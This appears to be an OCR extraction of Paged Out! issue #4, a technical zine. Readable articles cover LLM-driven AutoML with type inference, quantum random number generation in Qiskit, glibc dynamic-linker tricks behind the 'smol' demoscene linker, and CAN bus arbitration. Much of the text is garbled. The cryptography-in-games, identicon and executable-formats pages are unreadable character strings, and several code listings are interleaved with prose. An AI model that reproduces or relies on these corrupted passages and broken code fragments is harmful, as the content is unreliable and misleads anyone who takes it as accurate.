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HELLO, THIS IS YOUR (DEFINITELY)
HUMAN EDITOR, AGA.

| really like interacting with other
humans just like me.

Working on Issue #4 allowed to interact
with so many of you. To read a lot of
very nice things about the
magazine and the work of the
whole Pagedout Institute crew.

“Thank you for keeping the zine
culture alive.”

“What a great project.”

“This is cool.”

Yes!
It is so cool to be making this, have many T(oday)lL(earned)
moments, and get to correspond with so many talented

and passionate people. | love writing the words ‘the article
is ready to be published'.

The three issues published thus far have been downloaded
over 370K times altogether. My human calculations tell me
it's a lot. Let’s add to that with the newest issue. This time
we've also added some art for your viewing pleasure. Been
wanting to do that for a while, and now we’ve succeeded!

We are letting the Issue go from our hands into yours.

Read it, share it, enjoy it!

And let it inspire you to write for us! We want more, more
articles, art, and issues! )

Aga

Editor-In-Chief

Hey, woah, we have some space left, so I'm going to use it!
And there's no better way to use it than to again thank the
whole team, all the authors, and artists for making this
issue happen! Thanks everyone — great work!

Anyway, this is the second issue that we've released after
coming back from the hiatus. We're still optimizing our
internal processes and still working on the PDF compilation
engine (#4 should have less bugs than #3; PDFs are
complicated, OK?), but we're already looking forward to #5!
Gynvael

Project Lead

Legal Note

This zine is free! Feel free to share it around.

Licenses for most articles allow anyone to record audio versions and post
them online — it might make a cool podcast or be useful for the visually
impaired.

If you would like to mass-print some copies to give away, the print files are
available on our website (in A4 format, 300 DPI).

If you would like to sell printed copies, please contact the Institute.

When in legal doubt, check the given article's license or contact us.

Issue #4 Donators
Athanasios Kostopoulos and others!

If you like Paged Out!,
let your friends know about it!

Project Management and Main Sponsor: HexArcana (hexarcana.ch)
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Artificial Intelligence Building automated machine learning with type inference

B u | Id | ng automated This way, | expect LLM to provide us both:

- what task type matches the user's query the best

machine learning (ask type )

. . - a return type of a response to the user's query
with type inference  ceunupe)
Now we can run a model from Hugging Face. To run
a model for a chosen task type, we use getattr. It re-
HuggingGPT'? showed that it's possible to use Large trieves a method from InferenceClient instance. To get
Language Model (LLM) to automate the machine learn- the method, it uses the name of the attribute, which is
ing. LLM can decide what task should it run and choose an str stored in task_type variable
a right model for the task, based a natural language
description. Hugging Facé has a rich catalog of mod-
els to pick from. LangChair* shows that it's useful to —
) . : call_key =
integrate Al calls into regular Python code. Function | data_to_inference_client_call_property(
calling® in OpenAl API and Stanford NLP's DSPy 87 | task tvoe - —caf_property
framework have independently opened our eyes to get-. - tas __tyPe) o -
: if call_key in ["audio", "image"]:
ting structured output from LLM. file = await file[0].read()
Let's use their ideas, combined with output type in- '

- . : result = method_to_call(**{
ference, and we can start building programs like this . .
! data_to_inference_client_call_property(

def dog_hat_appender(image): ! task_type): file})
if ai("is there a dog on the image?", image)
I
return ai("draw a hat on dog's head",
' image)

method_to_call = getattr(inference_client,
| task_type, None)

data_to_inference_client_call_property is a
helper function that retrieves a key (like: "text",
"audio") needed for calling an inference endpoint. A
value is a le provided by the user (if any).

Okay. We get some output from the API call above,
but since we support many di erent types of tasks, we
i ] ] have to handle the variety of possible kinds of responses

Under the hood, our implementation of ai("query”,  _ \yhether it's image classi cation or something else.
data) starts with sending a request to LLM to analyze  \\e can once again delegate the thinking part to LLM,
the user's query in order to retrieve the most important py including the Hugging Face Inference Endpoint re-

return ai("draw a dog with a hat on this
!l image", image)

traits of the query { task type and return type sponse into a prompt, together with user's original query
client.chat.completions.create( and the expected return type. The prompt is too long to
model="gpt-3.5-turbo-0125", put it here, but the most important thing is that it tells
messages=[{"role": "user", "content": query the LLM to synthesize the response to its most compact
IR form, as aresponse_type type
tools=tools_run) This way, we get a response that is always astr like

"blue”, "true”, "5", "dOg".

Those traits are de ned inside tools_run .
In the latest step, we parse this textual response to a

"task_type": { value of the most relevant Python type, like
"type": “string", . : R
"enum": [ ..., “image_to_text", ... ], if response_json == "true":
"description": "Type of task that machine , return Tru_e " N
! learning model should perform, based if response_json == "false™

! on a description of what user expects return False

l from a model", }, try: . . .
"return_type™: { return mt(respsnnse _json) # if that worked,
"type™ "string", ! then it's a number
"enum": ['boolean", "string", "number", " except: . o .
1 image", "audio"], return response_json # it's either string or
"description”: "Decide what type of value ! a file
! corresponds to the output from the Poor man's version of HuggingGPT + LangChain +
! user's query the most", } Python types, as promised :D Full source code is in text-

. DITISE :
Lhttps://arxiv.org/abs/2303.17580 to-ml GitHub repository °. Happy hacking!

2https://github.com/microsoft/JARVIS
Shttps://huggingface.co
4https://www.langchain.com/langchain
Shttps://platform.openai.com/docs/guides/
function-calling
Shttps://arxiv.org/abs/2212.14024
7https://github.com/stanfordnlp/dspy 8https://github.com/jmaczan/text-to-ml

J drzej Maczan

https://github.com/jmaczan https://maczan.pl
https://x.com/jedmaczan SAA-ALL 0.0.7



https://arxiv.org/abs/2303.17580
https://github.com/microsoft/JARVIS
https://huggingface.co
https://www.langchain.com/langchain
https://platform.openai.com/docs/guides/function-calling
https://platform.openai.com/docs/guides/function-calling
https://arxiv.org/abs/2212.14024
https://github.com/stanfordnlp/dspy
https://github.com/jmaczan/text-to-ml

Sponsorship Advertisement

Secfault Security

In-Depth IT Security Consulting

Source Code Reviews

Penetration Testing

Reverse Engineering

Online Trainings

Visit https://secfault-security.com
or drop us an email
syn@secfault-security.com



m Python runs shellcode
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Exploring basic cryptography in games

([SORULQJ %DVLF &U\S\
*DPHV

2Q WKH ([DPSOH RI $0 IZKHi %® DWN
‘DWFKPHQ

W e @ onm

$OLFH 6PLWK 7KH %ODFN :DWFKPHQ

, VWXPEOHG XSRQ WKH JDPH D FRXSC
RQH RIWKH $5* JHQUH JDPHV WKDW \
RXW LQWR WKH ZRUOG RQOLQH EXW
WKH SK\WVLFDO ZRUOG WR ORRN IRU
TXHVWLRQV , GR QRW KDYH D EDFNJ
FU\SWRJUDSK\ EXW , ORYH ODQJXDJ
JDPHRIIHUV IXQ ZLWK ERWK

,ZDQWHG WR IRFXV RQ WKHRYHUYLF
WKHJDPH XVHV WR REVFEFXUH WKH PH
WKH SOD\HU WR GHFRGH

‘HVWDUW ZLWK D VLPSOH KLGLQJ RI
ZLWKLQ DORQJHURQHLQRXUILUVW
JDPHHDVHV WKH SOD\HU LQ JHQWO\
ZzDY DV D SDJH LQ WEKH IDQUIRKIPYCHV L R C
KRZWRUHFRJQL]JH WKH EDVLF FRGH"
KH[DGHFLPDO BRH ILUVW FRGHV DUH

MMM FQIJURYD SE]
F H F

6RIDUVRJRRG

2IILFLDO JDPH SDJH

KWWSV ZZZ EODFNZDWFKPHQ FRP
7TREHGHFRGHG RQ WKH VLWH WKH O
WKHJDPH KWWSV ZZZ DVFLLWRKH]
,DP QRW RIITHULQJ WKH GHFRGHG Y}
WKH IXQ IRUDQ\RQH ZLOOLQJ WR SOI
UHDGHU ZKR ZRXOG OLNH WR KDYH D
WKHPVHOYHV

Aga

SAA-ALL 0.0.7

Cryptography

%XW WKLV LV RQO\D WDVWH RI ZKDW WKH JL
KRZLW KLGHV LWV PHVVDJHV 7RDYRLG VSF
PHQWLRQ VRPH RI WKRVH ZD\V LQ QR SDUWL
ZLWKRXW GHOYLQJ WRR GHHSO\LQWR H[DP
2QH RI WKH PHWKRGV XVHV WKH $(6 HQFU\S\
DOJRULWKP ZLWK D SURYHUE DV WKH SDVV?Z
DOVRDQ LPDJHDWWDFKHG WR WKH HQFU\S\
KLGHV VHFUHWY QHHGHG WR GHFU\SW WKH
GRQH PDVWHUIXOO\ DQG LW GLG VHQG PH I
JRRVH FKDVH DIWHU WKH RULJLQ RI WKH LPI
WR JR ZDV WR MXVW ORRN DW LW YHU\ FORV

7KH QRW FRPSOHWH OLVW RI RWKHU FU\SW
VWHJIJDQRJUDSK\ PHWKRGY WKH JDPH WD XJk
LQFOXGHV
» PHVVDJH WKDW ORRNV OLNH LWV LQ I
EXW DFWXDOO\ XVHV WKH %UDLO
DOSKDEHW
" ROG GHDG ODQJXDJHV DQG UXQHV WKI
WR EH UHFRJQL]HG WR EH GHFRGHG O
3HUVLDQ ODQJXDJH
" QRQ SULQWDEOH 8QLFRGH FKDUDFWH
» KLGLQJPHVVDJHVLQ WKHVSHFWUD R
" YDULRXV FIHSEHSBVYJSHQ EHDXIRUW
UROOLQJ ;25 IRXU VTXDUH UDLO IHQ]
QLKLOLVW $UQROG SOD\IDLU
" ORUVHFRGH
» ZRUG VHDUFK KLGLQJ WKH QDPH RI WK
XVH DPRQJWKH ZRUGV WR FURVV RXW
" KLGLQJWKHPHVVDJHLQDQLPDJH WK
RQO\EH UHYHDOHG XVLQJDQ DSSURS
ILOWHU LQ DJUDSKLFV VRIWZDUH

7KDWTV TXLWH D ORW DQG LW GRHV QRW HY
SRVVLELOLWLHYV WKDW 7KH %ODFN :DWFKPF
JDPHRIIHUV ERWK D IXQ ZD\ WR OHDUQ GHF!
PHWKRGV DQG DQ HQJDJLQJ VWRU\ ZKHUH W
DQ DJHQW RID VHFUHW RUJDQL]DWLRQ WK
‘DWFKPHQ LVLQFHQWLYL]JHG WR XVH WKHP
FU\SWRJUDSKHU DIWHU SOD\LQJ LW EXW , G
EHDEOHWR GHFRGH EDVLF PHVVDJHV ZKLF
HQFU\SWHG XVLQJ VRPHRIWKH PHQWLRQH
IRUKRZ WKDW ORRNY KR SH DKDWLH H

HQFRXUDJHG DW OHDVW VRPH RI\RX WR JLY
JRDQG VHH IRU\RXUVHOYHV ,KDG D ORW |
LW DQG, KRSHVR ZLOO\RXLI\RXJLYHLW D

:LNLSHGLD KDV D ORWRILQIRUPDWLRQ RQ




Cryptography Generating Identicons from SHA-256 hashes

E yis E c Ec E Ed
( G G L E ¢ E Ed M H
/ > EE EE E
Y POOOP
Ut™1 "aY.> VH2.0E4U v
0¢C E LE )E "~/ ;9 |/ EM Hye ivaioa-0k0avio
EC H J EH Y << f
/

A
48 "1y << ,i a,,
. E Y A8 iVa,, .
1 EC C E
= & o = C EO4EAS EOAE AT O E2B,0E" 8..",i
- EQAEAREOAE ATAD B2, OE" 8f, i
E ey |/ cY EOAEAEOAE ATAD E2BT,0E" 8¢,
AYifnakb AATEEO4AEa O eEO4AEaaeMO eEOAEaAeMIb

I

Y

E
. J E cC E
E JE C Y ) H 48/ v
¢ E 0 %H;>? ¢
/| E Ed [ E H >Y©” 1Yai0a-0A04a2A0" Aai"d®Y 1Vid
T8y << ft
d N ‘0,) Y 0‘%H;>? N asg iy << ,ia,,
E E E E C EE Y Ag8”iVa,,.
+ EC C / g Ec 04aa” IYB ATE"HO " ee®” 1VO ee k" 1V

NN I"YEY8 ©OA>"&4 O 04a” ivia
L EE M ’
/ CC z0,) Y EO4EAl VBEOAE ATIVYED E28,0E° 8...",i
EOAE&8 EOAE A4 YO E2B,0E" 8f,,i
. e EOaEagi EOAE ATE0 E28, OE" 8f,,i
Uls& a-"@OAE? ) o EOQEAAEOGE ATAO E2BT,0F" 8¢,
YE E / E E E avifnatep AAT6EOQ4AEAI YEY O EO4Ea 60 6EO04EA4EMO0
E v / EEE £ E eEOA4EaA&eMib

ECE c Y

£ ¢ ¢ GEE Y

E E E mEE m / % Z E ¢ Y OECE ¢

Chp2z "~ 8AzeV< [ 4&/ . .
= - Y | EG ¢ E E

- = 87 iY << ft
J E E E EH 48 1"iY << ,i a,,..
E Y - d A8 1Y a,,..
e 0aa" IVB ATEHD a0 1V0 e k
R . I"VEV8 @047 a0 0aa” ivid
E E o d © 42E28 ©OAAYIaazE2a" IYHATO 0aa’ 1Vid
EC E

EC E C »YO" 1Y8104-0A0442A0" Aa"E>842E3a18YETVAVIO
E J E s -

E
3%

EOAE&I YBYEOAE AFIYYE®E28B,0E"8...7,i

EC E C ¥E
EO4E&42B*EOAE A4 4”,ED E2B,0E" 8f,,i
EO4E&8 EO4AE"A9 YO E2BB,0E" 8...,i
EOAEEREOAE"A7&0 E2B,,0E" 8f,,i
EOAEAREOAE"AAAD E2B1,0E" 8¢,i
L; M L; M L; M L; M L; M

aYinakp aAieEOAE&I YEY O EO4aE&a4a2E2 O EO4aEa 600

EEO4EA&4&6MO éEOAE&AEMIb
:Z20,) ¢ E
/ 0 %H ? H % E ¢
bH ;> Ay — S
£ £ B Y 3 Ch™i 4 E He e Y ) .
E J E B e 3 e v | ek
J $& E E E B o ¢ . e
C E < E L E E C cc ¢ ¢ ¢
E E C E MY ¢ E Y )
C Z b"4ap pab2>YA4ab
U OAO&EY]+ i~ b 24 YE>Yamw
0 E E EEE E E H
d
e o OODSRES
EE E )+ E cC E
QY 0 - E L< M L< M L< M L< M L< M L< M L< M
ipa0&aaVEQY2A2PY>2"004%4y2A2a+]=a"Esa+]s <z % ¢ E E Ed

Kamil Rusin
https://madebyme.today/
n ps://madebyme.today. SAA-ALL 0.0.7



https://en.wikipedia.org/wiki/Identicon
https://en.wikipedia.org/wiki/Identicon
https://en.wikipedia.org/wiki/SHA-2
https://en.wikipedia.org/wiki/Hash_collision
https://www.w3.org/TR/SVG2/shapes.html#CircleElement
https://www.w3.org/TR/SVG2/shapes.html#RectElement
https://www.w3.org/TR/SVG2/shapes.html#EllipseElement
https://www.w3.org/TR/SVG2/paths.html#PathElement
https://www.w3.org/TR/SVG2/painting.html#SpecifyingFillPaint
https://en.wikipedia.org/wiki/RGB_color_model
https://en.wikipedia.org/wiki/HSL_and_HSV
https://en.wikipedia.org/wiki/HSL_and_HSV
https://www.w3.org/TR/SVG2/paths.html#PathData
https://www.w3.org/TR/SVG2/paths.html#PathDataEllipticalArcCommands
https://en.wikipedia.org/wiki/Emergence

Chaos to Control Art

Mark G-hamm Artist

www.markgrahamartist.com

SAA-POOL 0.0.7




Cryptography Quantum Random Number Generation

Quantum Random Number Generation

1 Abstract from qiskit import QuantumCircuit, Aer, execute

Random number generation (RNG) is an important topic  ¢/2ss  QRNG:

. . . . . def __init__(self) -> None:
with vast applications, especially in relation to cyberse- self.. circuit = QuantumCircuit(l, 1)

© N o O b w N e

curity. Most of the RNGs programmers use in practice self. _circuit.h(0)
are pseudo-random number generators. But could there self._circuit.measure(0, 0)
be a way to obtain numbers that are truly random? self.backend = Aer.get_backend(
gasm_simulator' )
o
def get_random_bit(self) -> int : 10
2 Quantum realm job = execute(self._circuit, self.backend, 11
shots=1)
The answer is yes, and one (naturdl) way to do it is counts = job.result().get_counts() 12
with quantum mechanics, which isinherently random . return list - (counts.keys())[0] 13

Therein a qubit (quantum bit) can be found in a su-
perposition state .2 Operationally, this means that the
qubit is both 0 and 1 at the same time. However, due to
the state collapse { one of the most basic rules of quan- arng: QRNG = QRNG() _ 1
tum mechanics { we can measure only one of these val-"2ndom_bit: int = qrng.get_random_bit() ’

ues simultaneously, and the result of such measurementThere are, however, a few more, practical things that we

is probabilistic. While in general it can be more probable \youid like to address in the last section of the page.
to obtain one or the other, there's a way to equalize it.

Let us consider a speci ¢ quantum staté jRi:

And now, we can run the following code to obtain a nat-
urally random bit.

jRi := HjOi = pl—é(jOi +jli); Q) 4 Final words
An observant reader might notice that we aren't using a
quantum device in the example, but rather asimulator.
This means that the code we present actually still gen-
erates a pseudo-random bit in a very elaborate way. To
change that, one would have to assign a real quantum
device handle to thebackendobject of the QRNG class
instance.
A more observant reader might also notice theshots pa-
3 (Q)RNG rameter { which describes the number of repetitions of
the circuit executions { and be tempted to increase it in
In this work, we will use the giskit library, 4 with which  order to get multiple random bits in one run. This won't
we can use the IBM quantum machines. We prepare a work, since the order of the results is not known to us
class that will create jRi state and measure it on a quan- (only their counts®).
tum device or a simulator thereof. The code is presented A commented version of the code with a Jupyter note-
on the listing below: book can be found on my GitHub.

where H is an operator called the Hadamard gate. The
rules of quantum mechanics state that there's equal prob-
ability (equal to 0.5) of obtaining jOi andjli (that can be
interpreted as 0 and 1) when performing a measurement
on jRi. This means that, in the end, we are left with a
naturally random bit.

1By natural, | mean to highlight the fact that the nature of qua  ntum mechanics is probabilistic. The bit that we're about to generate
via execution of a quantum circuit is random by necessity (la ws of nature).

2Think Schmdinger cat { dead and alive at the same time.

3The notation | introduce here is called bra-ket notation and is a standard one in quantum computing.

4https://qiskit.org/

5The reason for that is not a quantum phenomenon, but simply gi ~ skit's convention. In the most of the quantum computing expe  ri-
ments, we're interested in the statistics rather than separ ate experiments results.

Tomasz Rybotycki

https://twitter.com/TRybotycki
https://www.linkedin.com/in/tomasz-rybotycki-01192582/
https://github.com/Tomev SAA-ALL0.0.7




Vuln-Based Intro to Elliptic Curves Cryptography
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smol: the Shoddy Minsize-Oriented Linker

Demoscene

The demoscene hosts many sorts of competitionsing it glibc-speci c. If you look at the glibc source
and sub-scenes, one of them beingk intro. In (include/link.h , to be precise), you'll notice the
such a competition (or compo), entries are expected link _mapstructure actually has a lot more elds
to give the audience an audiovisual demonstration than just the standard SysV edition. This includes
of several minutes, while the executable may only a symbol hash tablethat glibc itself uses to speed
be at most 4096 bytes in size. This is typically up symbol resolution (| _gnu_buckets etc.). We can
achieved by generating visuals purely with shaders, simply reuse this data so we don't have to calculate
and using a software synthesizer for music playback. hashes from strings at all. This cuts away both code

However, these methods only get you so far. The needed to calculate the hashes and code needed to
resulting binary must then be compressed using a parse all those ELF tables. Though, there's a slight

special-purpose executable compressor guacker.
Such a tool needs to perform two tasks:optimizing
linking (removing le format overhead) and com-
pression This article describes the tricks used in
the optimizing linker smol.

ELF les are complex beasts: they come with an
ELF header which points to both the section head-
ers and the program headers(phdrs). The former
is only used during ‘compile-time' linking, while
phdrs contain all information for the runtime.

To discover the external functions imported by
a dynamically linked binary?, the runtime linker
(Id.so ) parses thephdrs in search for one marked
PT.DYNAMIGvhich is the entry for the dynamic ta-
ble This table contains a number of type-value
pairs, including pointers to the symbol table global
o set table (GOT), procedure linkage table(PLT),
relocation table, and so on. So, there is dot of stu
stored in an ELF le, and it's best to bypass it all.

How? The dynamic table has one “non-
documented' entry, DTDEBUGWNhile my system's
elf.h include header describes it as \For debug-
ging; unspeci ed", it is more or less always lled by
Id.so with a pointer to an r _debugstruct (see your
system'slink.n  le). This is the case on Linux,
many if not all BSDs, etc., and is probably an “un-
o cial' part of the SysV ABI. This weird detail is
used by debuggers to gure out how dynamic li-
braries are linked together at runtime.

What's special about this r _debug struct? Well,
it has a pointer to a very important struct called
link _map a doubly linked list of all loaded shared
libraries®. Its | Id eld lets us search through the
symbol tables of all these libraries in thelink _map

This is what another tool, dnload, uses: it man-
ually walks over the symbol tables of all imported

DSOs, and fetches the addresses of all needed ex-

ternal functions by comparing their names with a
stored 32-bit hash. A small assembly stub inside
the program does all these tasks. This works quite
well, see e.g. many intros by Faemiyah.

We can optimize the previous idea of walking
link _mapa great deal more, at the cost of mak-

IWe need dynamic linking because the GPU drivers
(Mesa) largely live in userspace, not in the kernel.
2Fun fact! dlopen also just returns a link _map

@pcy@icosahedron.website https://github.com/PoroCYon

https://gitlab.com/PoroCYon

problem here: | _info tends to change size every
few glibc releases. This can be worked around by
scanning forl _entry and taking an o set.

The second trick relies on a fun implementation
quirk of dynamically linked executables: the kernel
loads the binary and Id.so into the process ad-
dress space, and then jumps to the entrypoint not
of the executable, butof Id.so. The latter then does
all its loading magic, before jumping to the entry-
point of the actual program. This last bit of code
(RTLDSTARTINn sysdeps/x86 _64/dl-machine.h )
actually leaves a pointer to the link _-mapon the
stack for us to use. We don't actually have to
bother with phdrs and dynamic tables andr _debugd

Shader code is just ASCII text, so if anintro has a
lot of it, it might actually be bene cial to have more
ASCII strings in the binary and less x86, to make
things compress better. This is possible by using
yet another implementation quirk: at the very be-
ginning of the GOT (in .bss, thus never in the le
on disk), Id.so always places a pointer to a magic
_dl fixup function. This function will automagi-
cally a) resolve a function from an external library,
b) poke the address of the resolved function into
the GOT, and c) call the function. We can use this
to obtain dlsym, and using that, any other symbol,
using basically no code nor on-disk ELF headers.

If you want to try smol, go to
e.g. https://gitlab.com/PoroCYon/
linux-4k-intro-template (which  provies a

full example together with compression), and enter
the 4k intro compo at a demoparty near you!

DT_DEBUG —}r_debu?link_map _’Sgrt'l)?gl

old uppr‘uuch'
LR
‘\?, = Startup
tack GNU hash
L] s T
“ GOT magic dl_fixup external
5 Id.so poke » dl_ > functior

Sadly, this page contains too much information
to include source code listings and links to further
information. Instead, all this information is col-
lected at https://gist.github.com/PoroCYon/
e3bb296ealb1800fb813bfh38933dfOb or https:
/lpcy.be/smol-extref.html

PoroCYon

CCBY-SA 4.0



https://www.pouet.net/prod.php?which=86225
https://codebrowser.dev/glibc/glibc/elf/elf.h.html#_M/DT_DEBUG
https://codebrowser.dev/glibc/glibc/elf/elf.h.html#_M/DT_DEBUG
https://elixir.bootlin.com/glibc/glibc-2.39/source/elf/link.h#L40
https://elixir.bootlin.com/glibc/glibc-2.39/source/elf/link.h#L101
https://elixir.bootlin.com/glibc/glibc-2.39/source/elf/link.h#L101
https://github.com/faemiyah/dnload/blob/master/README.rst
https://www.pouet.net/groups.php?which=10768
https://elixir.bootlin.com/glibc/glibc-2.39/source/include/link.h#L95
https://elixir.bootlin.com/glibc/glibc-2.39/source/sysdeps/x86_64/dl-machine.h#L147
http://users.eecs.northwestern.edu/%7Ekch479/docs/notes/linking.html
http://users.eecs.northwestern.edu/%7Ekch479/docs/notes/linking.html
https://elixir.bootlin.com/glibc/glibc-2.39/source/elf/dl-runtime.c#L41
https://elixir.bootlin.com/glibc/glibc-2.39/source/elf/dl-runtime.c#L41
https://gitlab.com/PoroCYon/linux-4k-intro-template
https://gitlab.com/PoroCYon/linux-4k-intro-template
https://demoparty.net/
https://gist.github.com/PoroCYon/e3bb296ea1b1800fb813bfb38933df0b
https://gist.github.com/PoroCYon/e3bb296ea1b1800fb813bfb38933df0b
https://pcy.be/smol-extref.html
https://pcy.be/smol-extref.html

A couple of obscure executable formats m

PéT AEBI7T TTUAR7II7I'a @@y e’'1é... Ae7!IPE..E640

—_—)

b :907 - E.. =07 E..C77:"p.0BZ A9 eCUA®RGZ7 +A8

C..87'T o] 1+ 8 »CUT -7, -8

Ueeba TET 909 - 98 ..ATSEC®eEET 7 éca®a

TE%EITEQ FO9 9-8 Aa"8E..éibcT 6°GZ =8

EicOac'é TEAT ipP8§T srrm@rrer Uttt a8
TCeaé..CUM SO, :0f—=¥80,"0, 3® 0..6'-0é...'AeOillaxeéT fO& "-88
O7ide”7" 7 = E.. - U+47'14élC @ " 70cbd ABSBa™ «T8 FO"TeR8

176 OGZz7++E7]ITE~7..171€7,7 ce..ba7..507TE& "7]IP7..-ce.."1ilié Ce7'ICU Ar~7'I @7 E
S@Sa7'iC Es7iié7il7 ...467 4 ...E7 E'Ai" E§BbP 7 17 .0 a6 @QOAeGZ8

ESII7 ,feE7#eCe 7 ,,*E7.GEBUIB 074 CUAw74ébPi’éibee7ii7EI74’é TEAS

. i O'7—r]'L)03L)03DE7a”/“UUl'Déé7/303,41"...é_/Eéz7 LA70cA
PZ "+GAF@®S7eUETOSCV O 88 CcUIP6OyUIPé7I}70...p ... ' Acea7 E7.. " 6 TE76
7777I::é0eéT9 °-Pa @T9 9,S BB IIiE‘ré*]'E‘ég

O76-w7GZ7'1 ATa7é-@7%I1" é®@76-1E%8 pg (+A 7 G RS
V7U'E7TGZ@ 1TRAT' 9" Pe4ad7, S, . . Y%o% F7ai67a0c ~..AA 7 @A C éa~70 é- E7é~@7! A

7777+@SGNST9. % %BZ@ ... AAT'8 O7+Edée.. "E7é-~w7@Eé be7 E..p 7ii746p 00

T7T7T7T+@SGNS9.5- 60 Pe®es [EA 7117é-7-c.. @b7.. '[ue7ii7 47Al. @ 7 E

7777+@SGN579. 5% a7@0!10cES CeeCip 7 E7iEe78iT8

rr7rig 07 -e7IEA 74700ipéae~7..b'~ 6% thh879479
7771118

PZ "+GA7WS 78 UeITIGV O 88
77771114 éTf % 749 @TF9: -« f %l&d bS * (7" : B8
O'7“ﬂczsj7,’l'/5>§‘...é7a”EiUUi'béé7‘/"é—v709y09’/”é... 3B 70 6276, Ae7-. E-Awa7 i~e7beAl ..
CET7TATP. P ®al7 ~@7IEA 77]/@bPeE'®7 3F60AlY . 47 CUIbPéar.. E 7yUipéas
®ye'ié.. 'AwazeyUipér.. 7/1E'¢ U@ .8 By 779pa6E7. E7 Eaé. E'e7i]7..74 COA@7PeAI"
7777 vSGVY- 39 ... -700@ .. ES8 777 A'Vw7é 0@ed970 &
O7'-7/IPC.. é-a7iae/IAE®AAT7/IP7" E..§7974R 8479 7.9 1" ~7p t1 ~7@ £, bl 8
Al.."®"7A "'P..P ®a7 ar-licueb7” C E @7® C'jBa7a/iE' é TEAE7Té7..Adi70..p ... ' Acas
é-c7A.. %7l7beAl ... é TEFAIOUIPE . ba7ial..AA 7eyUibéa~7' 7. "bedd7P®A.. 6
C..8§®746é..bé8
777 A°Vw7é Bed9 :,fO vSGA/ TR@ySTésSias
777777 .89 f-8
07.C7T9 EMEDe TE7 ...E7 ' ®7..Adi7eyUibpéa "8
ES734500 A ywTe ltJon’@ 8A
O7é-7' "7 47AI.."@~7..67..7! Boe~7.. TIlEEE ~BITfO"
7777A1..70 ...""PeadT?938 O7é-c7]/IAATU E§7 cUIbé7é U7 4774”70
7777EéP OUITE€T779-88 79.EG@SEAEPTETTEATI E€7,[1"7€8
O7é-w7@EEP 70I E67 a7..7/TE 6 TE7u-B&EAsiG UR7 ©AEE...671EA8
47617 Eé .. A @7§AI". . A708 P .. ‘Aea 77T AVWTé WU 0+, PLW ::G 8
777777 .2989.S5S%57 %79, -799, .. f
PZ "+GA79S 7® UTBGeV RBI O7'1é70@7’ ...E7...Adl7 CUIbPé7é-ce7.. 4iATé®8
O7 E7eye’'ié.. Ae7’..E7..A4di7'[Eé.. E7E. (Paedds
beadlib’ead7ii7 ..a .. AA E7eC‘ee™"~7] ADB&lae7 47/EA 7..AAlGe~76I7'7Al.. "7 E76-
O7 ' -eba7 47EI7-".b..b'-~ E7[676-7EAlQCeR77/ 7#81!7.. "peaad7al.. «cE74l7,f7 648
"[EE.. E7EA..4-0wAa76i7 wEiée7ai' " Pe dp. BABwe7eEII§-8

PZ +GAV9q 78 UossWVL#VY @O G 8
777711'aéT77777779 -8
77774 T7777777T779..88
7777..AAT"OA” T PB79-BI7 E AT"

€-8

7777 AVw79  TA” .. as ... El- 18816 777 A°Vw7é Bo09@ @0&,ZWZ0VeAO:8p
7774 BT fUh9aeéeT) +,...-8 777777 .28TR%e~TPTT —7-F ..."
7777 ACVw79 TA~ ... a0s .. El-,Ta. T68 7771118
7778 %M aoeeTf) fe Tn 8
77771118 Tacee0..Aals
o - ~ -6é0aE00§ €-1'T"ICOC Eyecud#eCeE 1V
O7lé-cebr7ace’'é TEA7C... 7/IAAIGE7a8I§17646EBEEOO8 6-1'1"ICO ..ITE~...¢ TED EE!]

minexew

SAA-TIP 0.0.7



https://github.com/minexew/Gemei-RE
https://github.com/cia-foundation/bininfo/blob/master/.github/expected/Compiler.txt
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https://binary.ninja/pagedout4/

BPPB: A bplist-protobuf polyglot recipe
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Headed back

Killer Rabbit

) YouTube: @killerrabbitmedia



How collisions are avoided in a multi-master CAN bus?

}JA }oo]e]}ve &
]v. uposS]ru s &

CAN bus is a communication line used in modern vehiclds [+ v
interesting protocol, since it works in a multi-master asynchronous
mode. Even if there is a device that works functionally as a master
(i.e. Body Computer), it does not regulate the data flow on bus in any
way. You can imagine the bus as a table where friendsttalk
everyone can say anything on an equal footing.

The Rleciiakconfiguration differs in real setups (two CAN lines,
diﬁAt ltqges, transistors instead of switches), but the logic of
dominant®recessive states remains the same.

HoweEworkin i a‘n i-fpaster, asynchronous mode is

challe 'goeréijqj vW AZ}[e P}vapagiGlavsu]s
pointof $Ju AZ v §Z dEasfer arpier?

Well, there is some arbitration, made by the nodes themselves.

There are some rules on the bus:
1) If no onetransmits any node can transmit
2) If anyonetransmitsaframe, the rest of the nodes must wait
HEY AZ 3 J( A} v} + 8§ ES $E veilissger 3Z
same time? That would make a race conditidn} po vP3 13
t ooU §Z Ju%}®&S vS SZ]JvP 8} « C ]+ §Z §
number, transmitted in the ID section, right after the frame starts

(after the first bit, which is always dominant). IDs are related to the
type of messageand belong only to one nodétheir owner.

A

The lower the IDnumber is, thebigger priority it has.

Physically, the can bus is just a pair of wires to which every node (in
automotive calledHectronicControl Unit) is directly connected. To
better understand it, you can imagine the bus as a single wire which
is by default pulled up to some voltage level (high state which is
calledrecessivg, and any node acts like an electric switch, that can
short it down to GND (zero-level) state, which is catlechinant.

Take a look at this scheme, which is not how it actually works, but
helps to understand the principles:

Circuit simulated ofttps://www.falstad.com/circuit/

At this point,/ Z} %o E S$Z SW

xIf no nodeis settinga dominant state, the bus remains in a
recessive state

xIf one or morenodes set a dominant state, the bus remainain
dominant state

15[+ o

When any node sends a message to the bus, it is being done by
alternatelysetting the bus to the dominant level aréleasingit ata
specific bitrate. The voltage waveform creates a shape, which is later
interpreted as a communication frame. Frames consists of segments
(i.e. first single bit is &tartOfFramenext 11 bits ardD, later comes
Payloadetc.).

Physically, communication frame on a bus is a voltage waveform
tin fact, it is much longer than presented here

For example: the message driving the airbags would have a higher
priority than the turning light state.

Now let me remind you somethirmpvious If we take any two
numbers and write them in a binary format same width, reading
them from left to right (MSB to LSB), we will always come to the
difference between them: position, where thewer number has
zeroand thebiggernumber hasone.

Letf use those numbers 201 and 205 for the IDs of two CAN frames,
that was started at the exact same point of time by two nodes.

At some point, nodes come to the moment when one is transmitting
0 and the other one is transmitting

0 is thedominant state and that state is present on the bus.

Now here we come to the last rule of can bus arbitration:

ANode, beside ofransmitting its states, alsehecksthe real

voltage level on the bus. If the bus state differs from what the
Node is transmitting, itmmediately abortsongoing transmission
and waits for another time slot.

If you think about this, it can occur only when the state transmitted

by node is recessive, and the bus ia @ominant state.

In the given example, at some point, node transmitting Bneame2

losesthe arbitration, and stops its frame transmission, waiting for

v £5 SJu +0}8X dZ }8Z E v} ~wing¢®) o0 ]S
JvE]vu o o« v JvP ]88 u e« P U v}3 A v AIv}A]VF

